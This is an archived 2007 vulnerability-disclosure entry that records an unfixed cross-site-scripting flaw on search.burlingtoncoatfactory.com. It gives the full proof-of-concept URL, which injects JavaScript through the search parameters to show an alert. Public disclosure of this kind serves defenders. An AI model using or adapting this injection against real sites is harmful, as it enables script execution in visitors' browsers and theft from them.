Security researcher tenest, has submitted on 16/09/2007 a cross-site-scripting (XSS) vulnerability affecting search.burlingtoncoatfactory.com, which at the time of submission ranked 38072 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 20/09/2007. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail. |
| Date submitted: 16/09/2007 |
Date published: 20/09/2007 |
Fixed? Mail us! | Status:  UNFIXED |
| Author: tenest |
Domain: search.burlingtoncoatfactory.com |
Category: XSS |
Pagerank: 38072 |
|---|
URL: http://search.burlingtoncoatfactory.com/default.asp?IWStore=&var=stemming&stemming=true&var=num_rows
&num_rows=10&var=query.message&error_query=Go%20back%20and%20enter%20some%20words%20to%20search%20fo
r.&RowsPerPage=10&RestartFlow=t&prod_keywords=%22);var%20a=%22xssed%22;alert(a);//&Query=%22);var%20
a=%22xssed%22;alert(a);//&SUBMIT.x=0&SUBMIT.y=0 |
|
Click here to view the mirror
|
|
|
| 
